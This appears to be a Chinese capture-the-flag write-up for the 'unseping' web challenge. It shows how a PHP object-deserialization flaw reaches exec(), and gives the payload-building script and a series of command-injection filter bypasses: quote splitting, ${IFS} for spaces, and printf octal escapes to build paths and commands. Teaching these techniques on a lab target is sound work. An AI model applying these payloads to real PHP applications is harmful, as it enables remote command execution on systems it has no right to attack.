攻防世界——Web题 unseping 反序列化&绕过

发布于:2025-05-25 ⋅ 阅读:(23) ⋅ 点赞:(0)

目录

绕过waf

单引号双引号绕过

空格绕过

特殊字符绕过


拿到源码先看题眼:

function ping($ip){
        exec($ip, $result);
        var_dump($result);
    }

可以看到这是我们要利用的函数,而要执行这个函数就得先执行__destruct()函数:

function __destruct(){
        if (in_array($this->method, array("ping"))) {
            call_user_func_array(array($this, $this->method), $this->args);
        }
    }

代码执行顺序:

当我创建对象时执行__construct,此时的method 和 args 被设置好了;之后发生反序列化,调用__wakeup,对传入的参数进行waf检查,确保没有特殊的字符和字符名;最后反序列化结束后,调用__destruct,实现命令执行。

最关键的是绕过waf

绕过waf

$ctf=@$_POST['ctf'];
@unserialize(base64_decode($ctf));

 是先对传入的ctf进行base64解码再进行反序列化,也就是说,我们传入的args得先进行序列化再进行base64加密,像这样:

echo(base64_encode(serialize($a)));

其次,我们得生成一个对象,由于call_user_func_array要求传入的第二个参数必须为数组:

$a=new ease("ping",array("ls"));

# 但这肯定不行,ls 会被waf过滤掉,可以尝试单引号双引号绕过

单引号双引号绕过

<?php
class ease
{

    private $method;
    private $args;

    function __construct($method, $args)
    {
        $this->method = $method;
        $this->args = $args;
    }
}
$a=new ease("ping",array("l''s"));
echo(base64_encode(serialize($a)));
?>

 

 可以看到一个文件夹 flag_1s_here 尝试读取该文件夹:

$a=new ease("ping",array("ls flag_1s_here"));

空格绕过

这里会检测到 “空格” 和 flag,空格可以用${IFS}进行代替,flag也通过引号绕过,但这里要注意的一点是:当${IFS}在双引号内部时,会被自动解析,所以这里我们要用单引号进行包裹,双引号进行绕过:

$a=new ease("ping",array('l""s${IFS}fl""ag_1s_here'));

成功得到flag文件名,接下来我们执行:

$a=new ease("ping",array('cat flag_1s_here/flag_831b69012c67b35f.php'));

特殊字符绕过

这里要过滤的多了一个 "/"和 php 字符 ,在linux中$()会执行括号内的命令,而 printf 可以将格式化参数转换为对应字符,但需要借助$()来执行,比如通过 $(printf "\x20")来生成空格,可以通过该方法来生成 /

$a=new ease("ping",array('ca""t${IFS}fl""ag_1s_here$(printf${IFS}"\57")fl""ag_831b69012c67b35f.ph""p'));

 

可以成功得到flag

同样的,也可以只用$() 和 printf 来进行操作:

$a=new ease("ping",array('$(printf${IFS}"\143\141\164\40\146\154\141\147\137\61\163\137\150\145\162\145\57\146\154\141\147\137\70\63\61\142\66\71\60\61\62\143\66\67\142\63\65\146\56\160\150\160")'));


 

 

 


网站公告

今日签到

点亮在社区的每一天
去签到